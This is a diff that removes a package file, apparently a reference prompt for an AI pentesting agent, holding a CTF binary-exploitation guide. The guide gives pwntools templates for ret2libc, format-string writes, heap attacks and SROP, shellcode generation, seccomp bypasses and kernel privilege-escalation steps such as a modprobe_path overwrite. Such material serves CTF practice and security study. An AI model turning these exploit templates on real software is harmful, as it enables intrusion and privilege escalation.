pentesting 0.73.14 → 0.90.2

package/dist/prompts/techniques/pwn.md

@@ -1,595 +0,0 @@
-# Binary Exploitation (Pwn) — Comprehensive CTF Guide
-
-> **§3 Minimal Specification**: This file is a **Bootstrap reference**, not a prescribed order.
-> Do NOT follow steps linearly. Use `get_owasp_knowledge`, `web_search`, and target observations
-> to decide what to test and in what order. Adapt dynamically — not to this list.
-
-> **Cross-ref**: exploit.md (shell strategy), evasion.md (bypass), shells.md (shell types)
-
-## Phase 0: Recon — Identify Protections
-
-```
-Before exploiting, understand what you're dealing with:
-├── file <binary>           → architecture, linking, stripped?
-├── checksec --file=<binary> → NX, PIE, RELRO, Canary, FORTIFY
-├── strings <binary>        → hardcoded strings, function names
-├── ltrace ./<binary>       → library calls (strcmp, system, gets)
-├── strace ./<binary>       → system calls
-├── readelf -s <binary>     → symbol table
-├── objdump -d <binary>     → disassembly (or use radare2/Ghidra)
-├── ldd <binary>            → linked libraries + ASLR check
-└── readelf -l <binary>     → segment permissions (RWX = shellcode!)
-```
-
-### Protection Cheat Sheet
-```
-Protection    Bypass Strategy
-──────────    ─────────────────────────
-No NX         → Shellcode on stack/heap
-NX enabled    → ROP (ret2libc, ret2win, ret2csu, ret2dlresolve)
-No PIE        → Hardcoded addresses work directly
-PIE enabled   → Need address leak first, then calculate offsets
-No Canary     → Direct buffer overflow
-Canary        → Leak canary via format string, brute-force (forking server)
-Partial RELRO → GOT overwrite possible
-Full RELRO    → GOT read-only, use __malloc_hook/__free_hook or stack
-No ASLR       → Fixed addresses (check: cat /proc/sys/kernel/randomize_va_space)
-ASLR          → Leak libc/stack/heap base, ret2plt, partial overwrite
-FORTIFY       → Some format string restrictions, limited buffer overflow
-```
-
-## Stack Buffer Overflow
-
-```
-Classic BOF flow:
-1. Find overflow length:
-   python3 -c "print('A'*100)" | ./<binary>
-   → Use cyclic pattern to find exact offset:
-   # Pwntools (preferred):
-   from pwn import *
-   cyclic(200)          # generate pattern
-   cyclic_find(0x6161616b)  # find offset from crash value
-
-   # MSF:
-   msf-pattern_create -l 200
-   msf-pattern_offset -q <EIP_value>
-
-2. Control EIP/RIP:
-   python3 -c "print('A'*offset + 'BBBB')" | ./<binary>
-   → EIP should be 0x42424242
-
-3. Find return address:
-   ├── No NX: JMP ESP/RSP in binary or libc
-   │   objdump -d <binary> | grep "jmp.*esp"
-   ├── NX enabled: ROP (Return Oriented Programming)
-   └── ASLR: ret2libc or leak libc address
-
-Pwntools template:
-from pwn import *
-context.binary = elf = ELF('./<binary>')
-# p = process(elf.path)     # local testing
-p = remote('host', port)    # remote exploit
-
-offset = <N>
-payload = flat(
-    b'A' * offset,
-    elf.symbols['win_function'],   # or ROP chain
-)
-p.sendline(payload)
-p.interactive()
-```
-
-## Return Oriented Programming (ROP)
-
-```
-When NX is enabled (no shellcode execution on stack):
-
-Find gadgets:
-├── ROPgadget --binary <binary> --ropchain
-├── ropper -f <binary> --search "pop rdi"
-├── pwntools: ROP(elf).find_gadget(['pop rdi', 'ret'])
-└── Common gadgets: pop rdi; ret, pop rsi; pop r15; ret, ret (alignment)
-
-═══════════════════════════════════════
-ret2libc (Most Common ROP in CTF):
-═══════════════════════════════════════
-1. Leak libc address:
-   ├── GOT leak via puts/printf: call puts@plt(got['puts'])
-   ├── Format string: %p leak stack/libc pointers
-   └── Info leak via other vuln
-2. Calculate libc base:
-   libc_base = leaked_addr - libc.symbols['puts']
-3. Build payload:
-   system = libc_base + libc.symbols['system']
-   bin_sh = libc_base + next(libc.search(b'/bin/sh'))
-   pop_rdi = <gadget_addr>
-   # 64-bit: pop rdi; ret → /bin/sh → system
-   # Alignment: add extra 'ret' gadget before system if needed
-
-Pwntools automated:
-from pwn import *
-elf = ELF('./<binary>')
-libc = ELF('./libc.so.6')  # or target libc
-rop = ROP(elf)
-rop.call('puts', [elf.got['puts']])  # leak
-rop.call(elf.symbols['main'])         # return to main for stage 2
-
-═══════════════════════════════════════
-ret2win (Simplest):
-═══════════════════════════════════════
-├── Find a "win" function (prints flag, spawns shell)
-├── Payload: padding + win_function_address
-├── With PIE: Need a leak first, then calculate offset
-└── Check: objdump -t <binary> | grep -i "win\|flag\|shell\|cat"
-
-═══════════════════════════════════════
-ret2csu (When Gadgets Are Scarce):
-═══════════════════════════════════════
-├── __libc_csu_init has universal gadgets for rdi, rsi, rdx
-├── Two-stage: set registers via csu pop, then call function
-└── web_search("ret2csu tutorial") for detailed gadget chains
-
-═══════════════════════════════════════
-ret2dlresolve (No Libc Needed):
-═══════════════════════════════════════
-├── Forge fake relocation entry to resolve arbitrary function
-├── pwntools: Ret2dlresolvePayload(elf, symbol="system", args=["/bin/sh"])
-└── Works even without libc leak — powerful when binary is minimal
-
-═══════════════════════════════════════
-SROP (Sigreturn Oriented Programming):
-═══════════════════════════════════════
-├── Use sigreturn syscall to set ALL registers at once
-├── Pwntools: SigreturnFrame() — set rip, rsp, rax, etc.
-├── Need: syscall gadget + sigreturn number in rax (0xf on x86_64)
-└── Extremely powerful — single gadget controls entire register state
-```
-
-## Format String Vulnerability
-
-```
-Detection: Send %x.%x.%x.%x → if hex values appear, vulnerable
-
-═══════════════════════════════════════
-Read memory:
-═══════════════════════════════════════
-├── %p.%p.%p... → leak stack values (find canary, addresses, libc)
-├── %N$p        → read Nth argument directly
-├── %s          → read string at address on stack
-└── Find useful leaks:
-    ├── Stack canary (8 bytes, ends with \x00)
-    ├── Libc addresses (0x7f... on 64-bit)
-    ├── PIE base (calculate from code pointers)
-    └── Heap addresses
-
-═══════════════════════════════════════
-Write memory (overwrite GOT, return address, hooks):
-═══════════════════════════════════════
-├── %n    → writes number of characters printed so far (4 bytes)
-├── %N$n  → write to Nth argument
-├── %hn   → write 2 bytes (short) — most used
-├── %hhn  → write 1 byte — most precise
-└── Targets:
-    ├── GOT entry (redirect function to win/system/one_gadget)
-    ├── __malloc_hook / __free_hook (trigger via malloc/free)
-    ├── Return address on stack
-    ├── .fini_array (called at exit)
-    └── atexit handlers
-
-═══════════════════════════════════════
-Pwntools automation:
-═══════════════════════════════════════
-from pwn import *
-# Automatic format string exploit
-payload = fmtstr_payload(offset, {target_addr: desired_value})
-# Advanced: write multiple values
-payload = fmtstr_payload(offset, {
-    elf.got['printf']: elf.symbols['win'],   # redirect printf→win
-})
-p.sendline(payload)
-```
-
-## Heap Exploitation
-
-```
-═══════════════════════════════════════
-Fundamental Heap Techniques:
-═══════════════════════════════════════
-
-Use After Free (UAF):
-├── allocate → free → allocate same size → use old pointer
-├── The new allocation reuses freed chunk's memory
-├── If old pointer is still accessible → read/write freed data
-└── Key: control what gets allocated in the freed slot
-
-Double Free:
-├── free(A) → free(B) → free(A) → now A is in freelist twice
-├── Allocate: get A → write fd pointer → allocate → allocate (arbitrary addr!)
-├── GLIBC 2.29+: key field check → need to overwrite key or use different bins
-└── Bypass: tcache count tampering, or use fastbin (if >= 7 chunks in tcache)
-
-Heap Overflow:
-├── Overflow into next chunk's metadata (size, fd, bk)
-├── Modify size → overlapping chunks → controlled overlap
-├── Null byte overflow: shrink next chunk → unlink attack
-└── Off-by-one: even 1 byte overflow can be lethal
-
-═══════════════════════════════════════
-Tcache Attacks (glibc 2.26-2.35):
-═══════════════════════════════════════
-Tcache poisoning:
-├── Corrupt tcache entry's fd pointer → arbitrary allocation
-├── GLIBC 2.32+: Safe-linking (PROTECT_PTR) → need heap base leak
-│   fd = (chunk_addr >> 12) ^ target_addr   ← key formula!
-├── Allocate at: __free_hook, __malloc_hook, GOT, stack
-└── Once arbitrary write: system("/bin/sh") or one_gadget
-
-Tcache count manipulation:
-├── Overflow into tcache_perthread_struct (at heap base)
-├── Set counts[size_index] to allow more frees or skips
-└── Enables double-free even on newer glibc
-
-═══════════════════════════════════════
-Fastbin Attacks (older but still relevant):
-═══════════════════════════════════════
-├── Fastbin dup: double free in fastbin → arbitrary write
-├── Size check: target must have valid fastbin size in header
-├── Align to 0x7f byte in __malloc_hook area (libc)
-└── Used when tcache is full (7+ chunks of same size freed)
-
-═══════════════════════════════════════
-Unsorted Bin Attacks:
-═══════════════════════════════════════
-├── Unsorted bin leak: free large chunk → fd/bk points to main_arena
-├── main_arena is at known offset from libc base → libc leak!
-├── Unsorted bin attack (glibc <2.29): corrupt bk → write main_arena addr
-└── Size: must be ≥ 0x90 to avoid fastbin/tcache
-
-═══════════════════════════════════════
-Large Bin Attack:
-═══════════════════════════════════════
-├── Corrupt large bin fd_nextsize/bk_nextsize
-├── Write heap address to arbitrary location
-├── Useful for: overwrite mp_.tcache_bins, global_max_fast
-└── Enables further exploitation chain
-
-═══════════════════════════════════════
-House Techniques (Named Patterns):
-═══════════════════════════════════════
-├── House of Force → corrupt top chunk size → allocate to target
-├── House of Spirit → forge fake chunk → free it → allocate at target
-├── House of Lore → small bin corruption → arbitrary allocation
-├── House of Orange → forge unsorted bin chunk from top chunk
-├── House of Botcake → tcache + unsorted bin overlap (2.31+)
-├── House of Pig → largebin + tcache stashing → arbitrary write
-│
-├── House of Banana (glibc 2.35+ — exit-time RCE via rtld_global):
-│   ├── Prerequisite: heap write primitive + libc/ld-linux base leak
-│   ├── Target: _rtld_global (ld.so global) → _dl_audit chain
-│   ├── Attack path:
-│   │   ├── 1. Leak ld.so base (via libc → _rtld_global symbol offset)
-│   │   │      ld_base = libc.address + libc.symbols['_rtld_global'] - ld.symbols['_rtld_global']
-│   │   ├── 2. Locate: _rtld_global._dl_ns[0]._ns_loaded → link_map ptr
-│   │   ├── 3. In link_map: l_audit_any_plt / l_auditing fields
-│   │   ├── 4. Forge fake link_map on heap:
-│   │   │      fake_lm = flat({0x28: heap_base + fake_lm_offset})  # l_next
-│   │   │      # at offset 0x340: pointer to fake audit struct
-│   │   ├── 5. Fake audit struct: ae_funcptr → system or one_gadget
-│   │   ├── 6. Trigger: call exit() or return from main → _dl_audit_preinit fires
-│   │   └── Template:
-│   │       from pwn import *
-│   │       # After leaks:
-│   │       rtld_global = ld.sym['_rtld_global']
-│   │       dl_ns = rtld_global                  # _dl_ns[0] at offset 0
-│   │       ns_loaded = dl_ns                    # _ns_loaded is first field
-│   │       # Write fake link_map → audit struct → funcptr = system
-│   │       # Details vary per binary — confirm struct offsets with gdb:
-│   │       # gdb: p &_rtld_global._dl_ns[0]._ns_loaded
-│   └── web_search("house of banana glibc 2.35 exploit script site:github.com")
-│
-├── House of Kiwi (glibc 2.35+ — _IO_FILE vtable abuse without __free_hook):
-│   ├── Context: glibc 2.24+ removed __free_hook/__malloc_hook; vtable check added
-│   ├── Bypass: _IO_obstack_jumps / _IO_cookie_jumps are NOT checked (whitelisted)
-│   ├── Attack path A — _IO_flush via exit():
-│   │   ├── 1. Overwrite _IO_helper_jumps vtable (in _IO_obstack_jumps range)
-│   │   ├── 2. Corrupt _IO_2_1_stderr_ → vtable → _IO_obstack_jumps + offset
-│   │   ├── 3. Set wide_data / Bckp_base pointers → control RIP
-│   │   └── Trigger: fflush(stderr) or exit() → _IO_flush_all_lockp fires
-│   ├── Attack path B — _IO_cookie_write:
-│   │   ├── 1. Forge _IO_cookie_file struct on heap
-│   │   ├── 2. Set __io_functions.write = system (after pointer mangling)
-│   │   │      # glibc 2.32+ mangles fn ptr: stored = (fn >> 17) | (fn << 47) ^ key
-│   │   │      # key is at fs:0x30; leak it or use partial overwrite
-│   │   ├── 3. Trigger fwrite() to the fake cookie → write callback fires
-│   │   └── python:
-│   │       mangled = ror(system ^ cookie_key, 17, 64)   # pwntools ror()
-│   ├── Pointer mangling (glibc 2.32+ IMPORTANT):
-│   │   ├── Function pointers in _IO structs are XOR-rotated before storage
-│   │   ├── Leak the key: read fs:0x30 (TLS pointer), or partial-overwrite
-│   │   └── Formula: stored = ROR64((fn ^ key), 17)  → reverse: fn = ROL64(stored,17) ^ key
-│   └── web_search("house of kiwi IO_FILE vtable bypass glibc 2.35")
-│
-└── house of XXX → web_search("house of XXX heap exploitation site:github.com")
-
-═══════════════════════════════════════
-Debugging heap with gdb:
-═══════════════════════════════════════
-Use pwndbg or gef (NOT plain gdb):
-├── heap            → overview of all chunks
-├── bins            → show free chunk bins (tcache, fast, unsorted, small, large)
-├── vis_heap_chunks → visual heap layout (color-coded)
-├── tcachebins      → tcache entries per size
-├── fastbins        → fastbin entries
-├── x/20gx <addr>   → examine raw memory
-└── find_fake_fast <addr> → find valid fastbin sizes near target
-```
-
-## Shellcode
-
-```
-When NX is disabled (rare in modern, common in CTF):
-
-Generate:
-├── pwntools: shellcode = asm(shellcraft.sh(), arch='amd64')
-├── msfvenom -p linux/x64/exec CMD="/bin/sh" -f python -b '\x00'
-├── Custom: smaller/badchar-free shellcode
-└── Staged: small shellcode reads larger shellcode from stdin
-
-Constraints:
-├── Avoid null bytes: xor rax, rax (not mov rax, 0)
-├── Size limit: use short shellcode (shell in ~30 bytes possible)
-├── Alphanumeric: use AE64 encoder for alphanum-only shellcode
-├── Seccomp: check allowed syscalls with seccomp-tools dump ./<binary>
-│   ├── open+read+write only → read flag file to stdout
-│   ├── No execve → openat + sendfile or mmap
-│   └── Pwntools: shellcraft.open('flag.txt') + shellcraft.read(3, 'rsp', 100) + shellcraft.write(1, 'rsp', 100)
-└── Write+Execute memory (mprotect): change stack/heap to RWX first
-```
-
-## Advanced: One-Gadget and Magic Gadgets
-
-```
-one_gadget: single address in libc that spawns shell
-├── Tool: one_gadget libc.so.6
-├── Usually has constraints: [rsp+0x40] == NULL, etc.
-├── When to use: anytime you can redirect execution to libc
-│   ├── __malloc_hook overwrite → trigger via malloc
-│   ├── __free_hook overwrite → trigger via free
-│   ├── GOT overwrite → trigger when function is called
-│   ├── .fini_array overwrite → trigger at exit
-│   └── Return address overwrite → trigger at function return
-└── Try ALL one_gadgets — first one often doesn't work due to constraints
-```
-
-## Kernel Exploitation (Advanced CTF)
-
-```
-Common kernel pwn patterns:
-├── Use after free in kernel module → overwrite function pointer
-├── Race condition (TOCTOU) → exploit copy_from_user race
-├── Stack overflow in ioctl handler → kernel ROP
-├── Integer overflow → buffer size miscalculation
-└── NULL pointer dereference (if mmap_min_addr = 0)
-
-Privilege escalation:
-├── commit_creds(prepare_kernel_cred(0)) → instant root
-├── modprobe_path overwrite → trigger via unknown file format
-├── struct cred overwrite → change uid/gid to 0
-└── Namespace escape → ns_capable bypass
-
-Protection bypass:
-├── KASLR: leak kernel addresses (dmesg, /proc/kallsyms, info leak)
-├── SMEP/SMAP: use kernel gadgets only (no userspace exec)
-├── KPTI: KPTI trampoline for return to userspace
-└── Stack canary: leak via info leak or race
-```
-
-## Pwntools Essential Patterns
-
-```python
-from pwn import *
-
-# Setup
-context.binary = elf = ELF('./<binary>')
-context.log_level = 'debug'  # verbose for debugging
-libc = ELF('./libc.so.6')
-
-# Connection
-p = process(elf.path)                    # local
-p = remote('challenge.ctf.example', 1337)  # remote
-p = gdb.debug(elf.path, 'b main')       # with gdb
-
-# I/O
-p.sendline(b'input')
-p.sendafter(b'prompt: ', b'input')
-p.recvuntil(b'Address: ')
-leak = int(p.recvline().strip(), 16)
-
-# Packing
-p64(0xdeadbeef)     # 64-bit little-endian
-p32(0xdeadbeef)     # 32-bit little-endian
-u64(b'\x00' * 8)    # unpack 8 bytes to int
-
-# ROP
-rop = ROP(elf)
-rop.call('puts', [elf.got['puts']])
-rop.call('main')
-print(rop.dump())
-
-# Libc
-libc.address = leaked_puts - libc.symbols['puts']
-system = libc.symbols['system']
-bin_sh = next(libc.search(b'/bin/sh\x00'))
-
-# DynELF (automatic libc resolution without libc file)
-d = DynELF(leak_func, elf=elf)
-system = d.lookup('system', 'libc')
-```
-
-## Libc Database Lookup
-
-```
-When you leak a libc address but don't know which libc version:
-├── libc.rip       → search by function address suffix
-├── libc-database  → github.com/niklasb/libc-database
-├── web_search("libc database online lookup")
-└── Pwntools: from pwn import *; libc = LibcSearcher('puts', leaked_addr)
-
-Once identified:
-├── Download matching libc.so.6
-├── libc = ELF('./libc.so.6')
-├── libc.address = leak - libc.symbols['known_function']
-└── Now all offsets (system, /bin/sh, one_gadget, hooks) are calculable
-```
-
-## Common CTF Pwn Patterns
-
-```
-Vulnerability → Exploitation Flow:
-├── gets() / scanf("%s")  → always overflows → classic BOF → ROP/ret2libc
-├── printf(user_input)    → format string → leak + arbitrary write
-├── Custom malloc manager → heap challenge → find corruption primitive
-├── Menu-driven program   → heap note challenge → UAF/double-free/overflow
-├── seccomp-restricted    → ORW (open-read-write) shellcode chain
-├── PIE + Canary + NX     → need 2 vulns: leak (fmtstr) + overflow
-├── Forking server        → brute-force canary byte-by-byte (no ASLR reset)
-├── Stack pivot           → leave; ret → redirect RSP to controlled buffer
-├── Partial overwrite     → overwrite last 1-2 bytes of return addr (bypass PIE partially)
-├── SUID binary           → exploit → get that user's privileges
-└── Server binary on port → connect and exploit live
-```
-
-## Kernel Exploitation — Deep Dive (Advanced Level)
-
-```
-KERNEL SETUP & ENVIRONMENT:
-├── Extract fs:    binwalk -e bzImage / extract-vmlinux bzImage
-├── Run CTF qemu: qemu-system-x86_64 -kernel bzImage -initrd rootfs.cpio.gz
-│                 -append "console=ttyS0 nokaslr" -m 128M -nographic
-├── Debug:        qemu + -s -S → gdb vmlinux → target remote :1234
-├── Extract rootfs: mkdir rootfs && cd rootfs && cpio -idmv < ../rootfs.cpio.gz
-├── Patch init to run as root / add your exploit binary
-└── Repack: find . | cpio -H newc -o --owner root:root | gzip > rootfs.cpio.gz
-
-KERNEL PROTECTIONS:
-├── KASLR:   base randomized → need kernel address leak
-│   leaks: syslog (if dmesg allowed), /proc/kallsyms (if readable)
-│         spray addresses, or use physmap (when mmap_min_addr=0)
-├── SMEP:    can't execute userspace pages in kernel mode → kernel ROP only
-│   bypass: disable SMEP (clear bit 20 in CR4) via kernel gadget
-├── SMAP:    can't access userspace memory in kernel mode
-│   bypass: disable SMAP (clear bit 21 in CR4) or use copy_from/to_user
-├── KPTI:    separate page tables for user/kernel → flush on context switch
-│   exploit: use KPTI trampoline swapgs_restore_regs_and_return_to_usermode
-│            (symbol in /proc/kallsyms or calculate from vmlinux)
-└── Stack Canary: same as user-space, leaked via info disclosure
-
-KERNEL ROP CHAIN — ret2usr (when SMEP disabled):
-├── Control RIP via kernel overflow
-├── ROP: disable SMEP/SMAP → call userspace function pointer
-│   mov cr4, <value_without_smep> ; ret
-├── Userspace shellcode:
-│   void shell() {
-│       commit_creds(prepare_kernel_cred(NULL));  // root creds
-│       // return to userspace:
-│       asm("swapgs; iretq");
-│   }
-└── Restore context: need original rip/cs/rflags/rsp/ss saved before exploit
-
-COMMIT_CREDS PATTERN:
-├── commit_creds(prepare_kernel_cred(NULL)) → uid/gid = 0
-├── Addresses: grep in /proc/kallsyms (if readable) or vmlinux offsets
-├── Kernel ROP: pop rdi; ret → 0 → prepare_kernel_cred → pop rdi; ret →
-│              rax (result) → commit_creds → recover_to_userspace
-└── After root: execve("/bin/sh") or system command
-
-MODPROBE_PATH OVERWRITE (powerful, no SMEP bypass needed):
-├── When: have arbitrary kernel write primitive
-├── Steps:
-│   1. Overwrite modprobe_path (/sbin/modprobe) with /tmp/pwn script
-│   2. /tmp/pwn: #!/bin/sh\n cp /flag /tmp/flag && chmod 777 /tmp/flag
-│   3. Execute unknown file format → kernel calls modprobe_path
-│      echo -ne '\xff\xff\xff\xff' > /tmp/bad; chmod +x /tmp/bad; /tmp/bad
-│   4. /tmp/flag now readable
-└── Works even without executing shellcode (bypasses SMEP/NX)
-
-KERNEL UAF → FUNCTION POINTER OVERWRITE:
-├── Typical flow:
-│   1. Allocate kernel object via ioctl / socket / open
-│   2. Free it (without destroying reference)
-│   3. Spray heap with controlled data (reclaim freed slot)
-│   4. Original pointer now points to attacker-controlled struct
-│   5. Function pointer called → code execution
-├── Heap spray: open many /proc or socket fds, read/send data
-└── Object size: match target struct size for reliable reclaim
-
-KERNEL RACE CONDITIONS (TOCTOU):
-├── Double-fetch: kernel reads userspace value twice, race between reads
-├── Concurrent ioctl/syscall: race window between check and use
-├── Exploitation: spin up threads, hammer concurrent syscalls
-├── Tools: race_condition keyword, userfaultfd for precise racing
-└── web_search("kernel TOCTOU exploit userfaultfd technique")
-
-USEFUL KERNEL PRIMITIVES:
-├── Arbitrary read:  copy_from_user leak, info leak via syslog/proc
-├── Arbitrary write: kmalloc + controlled content + overflow/UAF
-├── Heap spray:      open many /proc/self/mem, msg_msg (msgsnd), pipe buffers
-├── msg_msg:         sendmsg to reclaim freed kernel object (kmalloc-N sized)
-└── setxattr:        arbitrary kernel heap write (controllable size + content)
-```
-
-## ROP Deep Patterns (Advanced)
-
-```
-RET2DLRESOLVE — No libc file needed:
-from pwn import *
-elf = ELF('./binary')
-rop = ROP(elf)
-dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=["/bin/sh"])
-rop.read(0, dlresolve.data_addr)  # write the fake structures
-rop.ret2dlresolve(dlresolve)
-# send: padding + rop.chain() + then dlresolve.payload
-
-BLIND ROP (BROP) — No binary, only crash/non-crash:
-├── Goal: exploit a stack overflow with only socket feedback
-├── Step 1: Find overflow offset (binary search on payload length)
-├── Step 2: Find "stop gadget" (causes infinite loop, keeps connection)
-├── Step 3: Blindly probe for ROP gadgets (brop gadget is canonical)
-│   ├── BROP gadget: pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret
-│   └── Dump PLT entries to find puts → dump binary from memory
-├── Step 4: Leak binary via puts over socket
-├── Step 5: Standard ROP exploit from dumped binary
-└── web_search("blind rop brop exploit tutorial")
-
-STACK PIVOT (when controlled buffer too small for full ROP):
-├── Gadget: xchg rsp, rax / leave; ret / pop rsp; ret
-├── Target: large controlled buffer (heap, data section, mmap)
-├── build full ROP chain there → pivot RSP to it
-└── Common: fake frame on heap → leave; ret pivots there
-
-SIGROP / SROP in depth:
-├── Abuses sigreturn syscall (15 on x86_64) to set ALL registers
-├── syscall; ret  →  rax=15 → sigreturn → kernel restores all regs from stack frame
-├── Full SigreturnFrame:
-│   frame = SigreturnFrame()
-│   frame.rip = execve_syscall_addr   # or any gadget
-│   frame.rsp = rsp                   # controlled stack
-│   frame.rax = 59                    # SYS_execve
-│   frame.rdi = binsh_addr
-│   frame.rsi = frame.rdx = 0
-├── Useful when: very few gadgets, only syscall; ret available
-└── orw shellcode path when execve blocked by seccomp
-
-SECCOMP BYPASS:
-├── Check: seccomp-tools dump ./binary → see allowed syscalls
-│         seccomp-tools asm → assemble BPF filters
-├── Common CTF: execve blocked → use open+read+write (ORW)
-│   fd = open("flag.txt", O_RDONLY)
-│   read(fd, buf, 0x100)
-│   write(1, buf, 0x100)
-├── Shellcraft: shellcraft.open() + shellcraft.read(3,'rsp',100) + shellcraft.write(1,'rsp',100)
-├── Filter bypass: if using 32-bit mode (ptrace SECCOMP allows different arch)
-│   int 0x80 in 64-bit process: uses 32-bit syscall numbers!
-│   open=5 (32-bit) may not be filtered if filter only blocks 64-bit open=2
-└── web_search("seccomp bypass technique {year} CTF")
-```